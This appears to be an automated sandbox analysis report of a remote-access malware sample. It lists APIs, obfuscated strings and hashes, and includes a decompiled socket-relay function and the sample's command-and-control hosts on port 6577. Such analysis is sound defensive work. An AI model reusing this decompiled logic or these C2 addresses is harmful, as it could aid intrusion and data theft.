String ID: $200 OK$GET %s HTTP/1.1Host: %s User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8Connection: close
API String ID: 2370112503-3508414588
Opcode ID: e07faabcde73fad5de2f234cc241048b4efe75730fad398a918129e32e759b8a
Instruction ID: e31714b0b2c18d3bfe683e3de1011ef27751aa1e39aef002969c9c8643353b02
Opcode Fuzzy Hash: e07faabcde73fad5de2f234cc241048b4efe75730fad398a918129e32e759b8a
Instruction Fuzzy Hash: 1471E8B05087059FD710AF6AC58539ABBE0EF84348F418D2EE4D897392D7BD89898B47

Uniqueness

Uniqueness Score: -1.00%

Function 00413EB3, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 274COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00413F0A
_wfopen.MSVCRT ref: 00413F1D
fgetpos.MSVCRT ref: 00413F62
MultiByteToWideChar.KERNEL32 ref: 004141E8
_wfopen.MSVCRT ref: 004141FB
_wfopen.MSVCRT ref: 00413F92

Part of subcall function 00407FC3: fgetpos.MSVCRT ref: 00407FE9

fread.MSVCRT ref: 00414339

Strings

%llu, xrefs: 0041408E
rb+, xrefs: 00413F12
%c%llu, xrefs: 0041402D, 00414257

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _wfopen$ByteCharMultiWidefgetpos$fread
String ID: %c%llu$%llu$rb+
API String ID: 938800225-3124885484
Opcode ID: 950e416187ae905cf82d7dafeef771dc36a792c2880a9897fab731ecdff24896
Instruction ID: fdcfd7fcdd99f777d3a34adf36677ce69dcc47347dc1f65e5ed97d3c26df3997
Opcode Fuzzy Hash: 950e416187ae905cf82d7dafeef771dc36a792c2880a9897fab731ecdff24896
Instruction Fuzzy Hash: 75D1E7B45087459FC310EF65C1886AABBE0BF89308F15C97EE8D897352D7789885CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00410ADA, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 230registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00410B26
RegEnumValueA.ADVAPI32 ref: 00410B7F
RegQueryValueExA.ADVAPI32 ref: 00410BF6
RegQueryValueExA.ADVAPI32 ref: 00410C92

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

RegQueryValueExA.ADVAPI32 ref: 00410DA4
malloc.MSVCRT ref: 00410DBB
RegQueryValueExA.ADVAPI32 ref: 00410DEB
RegCloseKey.ADVAPI32 ref: 00410EAE

Strings

CB, xrefs: 00410E30, 00410E82

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$Query$CloseEnumOpen_vsnprintfmalloc
String ID: CB
API String ID: 4070552197-2813831398
Opcode ID: a8b6e03fbc26fe0353ccbed7377f86956965eacf5a4772a906bd3a7d64d9ff09
Instruction ID: f9e542294e120a942ba3f9c894af39fbc12760f83aa3f443d205d2010ae74b6d
Opcode Fuzzy Hash: a8b6e03fbc26fe0353ccbed7377f86956965eacf5a4772a906bd3a7d64d9ff09
Instruction Fuzzy Hash: E2B16BB45083419FD710EF6AC18479BFBE4BF88744F408D2EE89887351E7B9D5898B86

Uniqueness

Uniqueness Score: -1.00%

Function 0040970C, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 132filetimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00409733
CloseHandle.KERNEL32 ref: 0040979A
CloseHandle.KERNEL32 ref: 004097B3
MultiByteToWideChar.KERNEL32 ref: 0040982A
CreateFileW.KERNEL32 ref: 00409865
SetFilePointer.KERNEL32 ref: 004098A1
WriteFile.KERNEL32 ref: 00409936

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

[%.2d/%.2d/%d %.2d:%.2d:%.2d], xrefs: 004098B2
%s%.2d-%.2d-%.4d, xrefs: 0040975F
C:\Users\user\AppData\Roaming\Logs\, xrefs: 00409757, 004097DC, 004097EC

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: File$CloseHandle$ByteCharCreateLocalMultiPointerTimeWideWrite_vsnprintf
String ID: %s%.2d-%.2d-%.4d$C:\Users\user\AppData\Roaming\Logs\$[%.2d/%.2d/%d %.2d:%.2d:%.2d]
API String ID: 1679277924-464796218
Opcode ID: 4e2e8c59022566be6e83790a85539b938eb59b7fa42426b377093483d846f68c
Instruction ID: e376d887f57f93dc865b5eaaf6567e86db3f04f64e7ab8cebec23d02cc14b5b1
Opcode Fuzzy Hash: 4e2e8c59022566be6e83790a85539b938eb59b7fa42426b377093483d846f68c
Instruction Fuzzy Hash: E9512DB05083009BC310EF26D54426BBBF0BB85718F518A2EF4D497392D7BD9989CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401421, Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 101COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00401428
getenv.MSVCRT ref: 00401559

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040159B

Strings

%, xrefs: 00401538
TEMP, xrefs: 00401550
\, xrefs: 00401530
%s\%s.%s, xrefs: 0040145A
%, xrefs: 0040151E
s, xrefs: 00401540
s, xrefs: 00401528

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$_vsnprintfmalloc
String ID: %$%$%s\%s.%s$TEMP$\$s$s
API String ID: 3160696619-3075679649
Opcode ID: ca09603a6fb3c31e46f94ea190ba63cd36d7fdd7c598f72b2894dd74d252403c
Instruction ID: f04d716bfdf1a3b2f19b14ba05fef692e22545d8b3c1490e52eb58049ae1adaa
Opcode Fuzzy Hash: ca09603a6fb3c31e46f94ea190ba63cd36d7fdd7c598f72b2894dd74d252403c
Instruction Fuzzy Hash: 435196B040C385DEE720EF25D54879EBBE0BF84348F408D2EE5D887281E7B99588DB56

Uniqueness

Uniqueness Score: -1.00%

Function 0040C197, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 83fileCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040C1B8

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

getenv.MSVCRT ref: 0040C1F6

Part of subcall function 00407F59: free.MSVCRT ref: 00407F6A

fopen.MSVCRT ref: 0040C22C
malloc.MSVCRT ref: 0040C259
fread.MSVCRT ref: 0040C27D
fclose.MSVCRT ref: 0040C2B0
fclose.MSVCRT ref: 0040C2CA

Strings

%6\Tsd0C\Tsd0C\gCRS.SC5, xrefs: 0040C1BD
APPDATA, xrefs: 0040C1B1, 0040C1EF
%6\Tsd0C\Tsd0C\s0W84id\gCRS.SC5, xrefs: 0040C1FB

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosegetenv$AttributesByteCharFileMultiWide_vsnprintffopenfreadfreemalloc
String ID: %6\Tsd0C\Tsd0C\gCRS.SC5$%6\Tsd0C\Tsd0C\s0W84id\gCRS.SC5$APPDATA
API String ID: 164930318-733405003
Opcode ID: 6f265e7767bb09b1958d82cec7efb8e1d7851cee31c0bd1cca4d9617d6bfff10
Instruction ID: 923c2ccaee423b8f51ada5992f51b5999be8c953822dc98e8fb21a0b7bf81a7a
Opcode Fuzzy Hash: 6f265e7767bb09b1958d82cec7efb8e1d7851cee31c0bd1cca4d9617d6bfff10
Instruction Fuzzy Hash: 113118B05087019ED710BFA6D58526EFBE4AF94358F41883EE4D89B392D77CC4858B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00408FE0, Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

Part of subcall function 00412D73: getenv.MSVCRT ref: 00412ECA

ExitProcess.KERNEL32 ref: 00409134
fopen.MSVCRT ref: 00409237

Part of subcall function 00406E04: MultiByteToWideChar.KERNEL32 ref: 00406E3D
Part of subcall function 00406E04: GetFileAttributesW.KERNEL32 ref: 00406E48
Part of subcall function 00406E04: SetFileAttributesW.KERNEL32 ref: 00406E62
Part of subcall function 00406E04: DeleteFileW.KERNEL32 ref: 00406E6C

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 00407EF4: Sleep.KERNEL32 ref: 00407EFE

Strings

MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6, xrefs: 004091AC
rb+, xrefs: 0040922C
C:\Users\user\AppData\Roaming\Logs\, xrefs: 00409260, 0040927C
-m "%s", xrefs: 004090AB
"%s", xrefs: 004091D8
M5QV9C5I, xrefs: 004091F0
MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\, xrefs: 0040915E

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesByteCharMultiWide$DeleteExitModuleNameProcessSleepfopengetenv
String ID: "%s"$-m "%s"$C:\Users\user\AppData\Roaming\Logs\$M5QV9C5I$MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6$MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\$rb+
API String ID: 3425440891-205926740
Opcode ID: 37d0ce1561ee6bb9c701f51db275a61bfccac64f15fe3377825e8940e65bb3af
Instruction ID: cf1332e757baf714fb04fabdc2a14f291af18396ddc48b811abeeedaa7cc8274
Opcode Fuzzy Hash: 37d0ce1561ee6bb9c701f51db275a61bfccac64f15fe3377825e8940e65bb3af
Instruction Fuzzy Hash: 4D61C7B04087119AD710BF61D64536EBBE1AF81348F41C86EE4C86B383CBBD8985DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4BC, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 155libraryloadertimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041236C: malloc.MSVCRT ref: 0041237C

LoadLibraryA.KERNEL32 ref: 0040A519
GetProcAddress.KERNEL32 ref: 0040A53C
GetProcAddress.KERNEL32 ref: 0040A55A
GetProcAddress.KERNEL32 ref: 0040A576
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040A604

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

MdYQ0Nh.Sii, xrefs: 0040A50A
m6C_0ddrd5Q0RcQ88d0, xrefs: 0040A543
m6CjRQld0C5dmWnWRMd664WR6, xrefs: 0040A563
m6CEd5mWnWRMd664WRaC5C, xrefs: 0040A529

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$CriticalSectionTime$EnterFileLeaveLibraryLoadSystemmalloc
String ID: MdYQ0Nh.Sii$m6CEd5mWnWRMd664WRaC5C$m6C_0ddrd5Q0RcQ88d0$m6CjRQld0C5dmWnWRMd664WR6
API String ID: 2869995242-3174184691
Opcode ID: 19d6fc8c2d1306d8d053f19c73e800395e5ac708471e6663d3d13c85d9c19fe9
Instruction ID: 94c08b94b57df9e53fa0a2455e2e566f66701f19132ff7a1c430a127e0c0603f
Opcode Fuzzy Hash: 19d6fc8c2d1306d8d053f19c73e800395e5ac708471e6663d3d13c85d9c19fe9
Instruction Fuzzy Hash: 9761DEB44087109FD710AF26C584A6BBBF4BF88704F01892EE8D897391E7799985CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0040970C, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 132filetimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00409733
CloseHandle.KERNEL32 ref: 0040979A
CloseHandle.KERNEL32 ref: 004097B3
MultiByteToWideChar.KERNEL32 ref: 0040982A
CreateFileW.KERNEL32 ref: 00409865
SetFilePointer.KERNEL32 ref: 004098A1
WriteFile.KERNEL32 ref: 00409936

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

[%.2d/%.2d/%d %.2d:%.2d:%.2d], xrefs: 004098B2
%s%.2d-%.2d-%.4d, xrefs: 0040975F

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseHandle$ByteCharCreateLocalMultiPointerTimeWideWrite_vsnprintf
String ID: %s%.2d-%.2d-%.4d$[%.2d/%.2d/%d %.2d:%.2d:%.2d]
API String ID: 1679277924-2943188010
Opcode ID: 4e2e8c59022566be6e83790a85539b938eb59b7fa42426b377093483d846f68c
Instruction ID: e376d887f57f93dc865b5eaaf6567e86db3f04f64e7ab8cebec23d02cc14b5b1
Opcode Fuzzy Hash: 4e2e8c59022566be6e83790a85539b938eb59b7fa42426b377093483d846f68c
Instruction Fuzzy Hash: E9512DB05083009BC310EF26D54426BBBF0BB85718F518A2EF4D497392D7BD9989CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DB, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91fileCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040C2F3

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

fopen.MSVCRT ref: 0040C330
fgets.MSVCRT ref: 0040C35E
fclose.MSVCRT ref: 0040C455

Strings

%6\.sQ0sid\CYYWQR56.fli, xrefs: 0040C2F8
<RCld>, xrefs: 0040C3F1
<s0W5WYWi>, xrefs: 0040C36B
APPDATA, xrefs: 0040C2E4
<sC66gW0S>, xrefs: 0040C42A

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _vsnprintffclosefgetsfopengetenv
String ID: %6\.sQ0sid\CYYWQR56.fli$<RCld>$<s0W5WYWi>$<sC66gW0S>$APPDATA
API String ID: 3106633423-1218082621
Opcode ID: f5b2f3e6b188a2a81523bee3868d1dc16278d61a1535bb2d55c529db898f20e7
Instruction ID: 6048a10f2db6f6121dbf09b1e91f7eeb88fe885a8aaa66a3f769cde923567c5e
Opcode Fuzzy Hash: f5b2f3e6b188a2a81523bee3868d1dc16278d61a1535bb2d55c529db898f20e7
Instruction Fuzzy Hash: EC41D8B0408311DAD310AF25D58526EBAF4BF84758F50CA2FE4D897381D77C8585DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 00411770, Relevance: 15.2, APIs: 10, Instructions: 170
networkCOMMON

Download Yara Rule

C-Code - Quality: 31%

			E00411770(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v16;
				char _v20;
				char _v24;
				int _v28;
				intOrPtr _v36;
				intOrPtr _v56;
				int _v72;
				intOrPtr _v80;
				intOrPtr _v92;
				intOrPtr _v280;
				intOrPtr _v284;
				char _v288;
				intOrPtr _v540;
				intOrPtr _v544;
				char _v548;
				intOrPtr _v552;
				char _v556;
				void* _v560;
				char _v576;
				char _v588;
				char* _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				char _v620;
				intOrPtr _v636;
				intOrPtr _v644;
				intOrPtr _v652;
				int _v656;
				intOrPtr _v660;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v692;
				int _v696;
				intOrPtr _v700;
				intOrPtr _v708;
				intOrPtr _v712;
				intOrPtr _v716;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t59;
				char _t61;
				intOrPtr _t62;
				char _t69;
				int _t70;
				intOrPtr _t72;
				intOrPtr _t75;
				int _t76;
				intOrPtr _t78;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t87;
				intOrPtr _t88;
				intOrPtr _t89;
				char* _t90;
				void* _t91;
				char* _t92;
				intOrPtr* _t93;
				char _t99;

				_t87 = __ecx;
				_t93 =  &_v604;
				_t56 = malloc(0x4000);
				_v560 = _t56;
				if(_t56 != 0) {
					_t88 = _a4;
					_t57 = _a8;
					if(_t57 < _t88) {
						_t57 = _t88;
					}
					_t90 =  &_v288;
					_v576 = _t57 + 1;
					goto L4;
					do {
						do {
							do {
								L4:
								_t89 = _a8;
								_t59 = _a4;
								_v556 = 0x1e;
								_v552 = 0;
								_v548 = 1;
								_v544 = _t89;
								if(_t89 != _t59) {
									_v540 = _t59;
									_v548 = 2;
								}
								_v284 = _t89;
								_v288 = 1;
								if(_t89 != _t59) {
									_v280 = _t59;
									_v288 = 2;
								}
								_t92 =  &_v548;
								_v608 = _t90;
								_v612 = 0;
								_v604 =  &_v556;
								_t61 = _v576;
								_v616 = _t92;
								_v620 = _t61;
								L0041F904();
								_t93 = _t93 - 0x14;
								_t99 = _t61;
							} while (_t99 == 0);
							if(_t99 >= 0) {
								_t62 = _v16;
								_v636 = _t90;
								 *_t93 = _t62;
								L0041F94C();
								_push(_t91);
								_push(_t91);
								if(_t62 != 0) {
									goto L8;
								}
								_t69 = _v20;
								_v644 = _t90;
								 *_t93 = _t69;
								L0041F94C();
								_push(_t84);
								if(_t69 != 0) {
									goto L8;
								}
								_t70 = _v28;
								_v652 = _t92;
								_v656 = _t70;
								L0041F94C();
								_push(_t87);
								_push(_t87);
								if(_t70 != 0) {
									_v652 = 0;
									_v656 = 0x4000;
									_v660 = _v604;
									_t72 = _v36;
									 *_t93 = _t72;
									L0041F90C();
									_t93 = _t93 - 0x10;
									_t85 = _t72;
									if(_t72 <= 0) {
										goto L8;
									}
									_t91 = 0;
									do {
										_v668 = 0;
										_v672 = _t85;
										_v676 = _v620 + _t91;
										_t75 = _v56;
										 *_t93 = _t75;
										L0041F8FC();
										_t93 = _t93 - 0x10;
										if(_t75 != 0xffffffff) {
											_t85 = _t85 - _t75;
											_t91 = _t91 + _t75;
											goto L20;
										}
										E004051B0();
										if(_t75 != 0x2733) {
											break;
										}
										E00407EF4(1);
										L20:
									} while (_t91 < _t85);
									if(_t85 == 0) {
										goto L12;
									}
									goto L8;
								}
								goto L12;
							}
							L8:
							 *_t93 =  &_v588;
							E00407F59();
							 *_t93 =  &_v24;
							E00405999(_t89);
							 *_t93 =  &_v20;
							return E00405999(_t89);
							L12:
							_t76 = _v72;
							_v692 = _t92;
							_v696 = _t76;
							L0041F94C();
							_push(_t89);
							_push(_t89);
						} while (_t76 == 0);
						_v692 = 0;
						_v696 = 0x4000;
						_v700 = _v644;
						_t78 = _v80;
						 *_t93 = _t78;
						L0041F90C();
						_t93 = _t93 - 0x10;
						_t86 = _t78;
						if(_t78 <= 0) {
							goto L8;
						}
						_t91 = 0;
						do {
							_v708 = 0;
							_v712 = _t86;
							_v716 = _v660 + _t91;
							_t81 = _v92;
							 *_t93 = _t81;
							L0041F8FC();
							_t93 = _t93 - 0x10;
							if(_t81 != 0xffffffff) {
								_t86 = _t86 - _t81;
								_t91 = _t91 + _t81;
								goto L29;
							}
							E004051B0();
							if(_t81 != 0x2733) {
								goto L30;
							}
							 *_t93 = 1;
							E00407EF4();
							L29:
						} while (_t86 > _t91);
						L30:
					} while (_t86 == 0);
					goto L8;
				}
				return _t56;
			}

0x00411770
0x00411774
0x00411781
0x00411788
0x0041178c
0x00411792
0x00411799
0x004117a2
0x004117a4
0x004117a4
0x004117a7
0x004117ae
0x004117ae
0x004117b2
0x004117b2
0x004117b2
0x004117b2
0x004117b2
0x004117b9
0x004117c0
0x004117c8
0x004117d0
0x004117da
0x004117de
0x004119ef
0x004119f3
0x004119f3
0x004117e6
0x004117ed
0x004117f8
0x00411a00
0x00411a07
0x00411a07
0x00411802
0x00411806
0x0041180a
0x00411812
0x00411816
0x0041181a
0x0041181e
0x00411821
0x00411826
0x00411829
0x00411829
0x0041182d
0x0041185e
0x00411865
0x00411869
0x0041186c
0x00411873
0x00411874
0x00411875
0x00000000
0x00000000
0x00411877
0x0041187e
0x00411882
0x00411885
0x0041188d
0x0041188e
0x00000000
0x00000000
0x00411890
0x00411897
0x0041189b
0x0041189e
0x004118a5
0x004118a6
0x004118a7
0x004118cf
0x004118d7
0x004118df
0x004118e3
0x004118ea
0x004118ed
0x004118f2
0x004118f7
0x004118f9
0x00000000
0x00000000
0x004118ff
0x00411901
0x00411905
0x0041190d
0x00411913
0x00411917
0x0041191e
0x00411921
0x00411926
0x0041192c
0x00411948
0x0041194a
0x00000000
0x0041194a
0x0041192e
0x00411938
0x00000000
0x00000000
0x00411941
0x0041194c
0x0041194c
0x00411952
0x00000000
0x00000000
0x00000000
0x00411958
0x00000000
0x004118a7
0x0041182f
0x00411833
0x00411836
0x00411842
0x00411845
0x00411851
0x00000000
0x004118a9
0x004118a9
0x004118b0
0x004118b4
0x004118b7
0x004118be
0x004118bf
0x004118bf
0x00411961
0x00411969
0x00411971
0x00411975
0x0041197c
0x0041197f
0x00411984
0x00411989
0x0041198b
0x00000000
0x00000000
0x00411991
0x00411993
0x00411997
0x0041199f
0x004119a5
0x004119a9
0x004119b0
0x004119b3
0x004119b8
0x004119be
0x004119da
0x004119dc
0x00000000
0x004119dc
0x004119c0
0x004119ca
0x00000000
0x00000000
0x004119cc
0x004119d3
0x004119de
0x004119de
0x004119e2
0x004119e2
0x00000000
0x004119ea
0x00411a21

APIs

malloc.MSVCRT ref: 00411781
select.WS2_32 ref: 00411821
__WSAFDIsSet.WS2_32 ref: 0041186C
__WSAFDIsSet.WS2_32 ref: 00411885
__WSAFDIsSet.WS2_32 ref: 0041189E
__WSAFDIsSet.WS2_32 ref: 004118B7
recv.WS2_32 ref: 004118ED
send.WS2_32 ref: 00411921
recv.WS2_32 ref: 0041197F
send.WS2_32 ref: 004119B3

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: recvsend$mallocselect
String ID:
API String ID: 2752384660-0
Opcode ID: 81337b33d623f7932b05d2c55d3ab91b0e7ec23f5ae94197f8e00e2d525efa65
Instruction ID: 396cab881292c67bc80472d702024345634477e2cb390eb29da05618a31f840e
Opcode Fuzzy Hash: 81337b33d623f7932b05d2c55d3ab91b0e7ec23f5ae94197f8e00e2d525efa65
Instruction Fuzzy Hash: 5A61FCB05197419FD720BF79C5847ABBBE4AF84314F10892FE998C3351E77898858B47

Uniqueness

Uniqueness Score: -1.00%

Function 00407302, Relevance: 15.1, APIs: 10, Instructions: 94fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00407341
_wfopen.MSVCRT ref: 00407354
MultiByteToWideChar.KERNEL32 ref: 00407397
_wfopen.MSVCRT ref: 004073AC
malloc.MSVCRT ref: 004073CC
fread.MSVCRT ref: 004073EE
fwrite.MSVCRT ref: 0040741C
free.MSVCRT ref: 0040742E
fclose.MSVCRT ref: 0040743F
fclose.MSVCRT ref: 00407447

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide_wfopenfclose$freadfreefwritemalloc
String ID:
API String ID: 2679953470-0
Opcode ID: f9df09af49ca5f034b16166d7e72c9a9dddab051e03add47e39f7c407a03f550
Instruction ID: bd1c24ee40381327b35b8d10bbed57f0e5c37a6e482eaac28a171252adbfc4ce
Opcode Fuzzy Hash: f9df09af49ca5f034b16166d7e72c9a9dddab051e03add47e39f7c407a03f550
Instruction Fuzzy Hash: FC3117B09097059FD710AF76D58526EBBE0BF84348F41883EE4D897382D7789489CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 00408FE0, Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

Part of subcall function 00412D73: getenv.MSVCRT ref: 00412ECA

ExitProcess.KERNEL32 ref: 00409134
fopen.MSVCRT ref: 00409237

Part of subcall function 00406E04: MultiByteToWideChar.KERNEL32 ref: 00406E3D
Part of subcall function 00406E04: GetFileAttributesW.KERNEL32 ref: 00406E48
Part of subcall function 00406E04: SetFileAttributesW.KERNEL32 ref: 00406E62
Part of subcall function 00406E04: DeleteFileW.KERNEL32 ref: 00406E6C

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 00407EF4: Sleep.KERNEL32 ref: 00407EFE

Strings

MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\, xrefs: 0040915E
-m "%s", xrefs: 004090AB
MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6, xrefs: 004091AC
rb+, xrefs: 0040922C
M5QV9C5I, xrefs: 004091F0
"%s", xrefs: 004091D8

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesByteCharMultiWide$DeleteExitModuleNameProcessSleepfopengetenv
String ID: "%s"$-m "%s"$M5QV9C5I$MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6$MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\$rb+
API String ID: 3425440891-3789651114
Opcode ID: 37d0ce1561ee6bb9c701f51db275a61bfccac64f15fe3377825e8940e65bb3af
Instruction ID: cf1332e757baf714fb04fabdc2a14f291af18396ddc48b811abeeedaa7cc8274
Opcode Fuzzy Hash: 37d0ce1561ee6bb9c701f51db275a61bfccac64f15fe3377825e8940e65bb3af
Instruction Fuzzy Hash: 4D61C7B04087119AD710BF61D64536EBBE1AF81348F41C86EE4C86B383CBBD8985DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 00413748, Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 004130E8: GetUserNameW.ADVAPI32 ref: 00413112
Part of subcall function 004130E8: WideCharToMultiByte.KERNEL32 ref: 00413154

Part of subcall function 00413040: GetComputerNameW.KERNEL32 ref: 0041307E
Part of subcall function 00413040: WideCharToMultiByte.KERNEL32 ref: 004130C0

Part of subcall function 004134FD: GetTickCount.KERNEL32 ref: 0041352F

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

getenv.MSVCRT ref: 00413879
getenv.MSVCRT ref: 00413887

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

Unknown, xrefs: 004137E0
C:\Users\user\AppData\Roaming\Logs\, xrefs: 004138B3
netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;, xrefs: 00413928
PATH, xrefs: 0041386B
, xrefs: 00413816
WINDIR, xrefs: 0041387E

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiNameWide$CriticalSectiongetenv$ComputerCountEnterFileLeaveModuleTickUser
String ID: $C:\Users\user\AppData\Roaming\Logs\$PATH$Unknown$WINDIR$netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;
API String ID: 195117172-2267132245
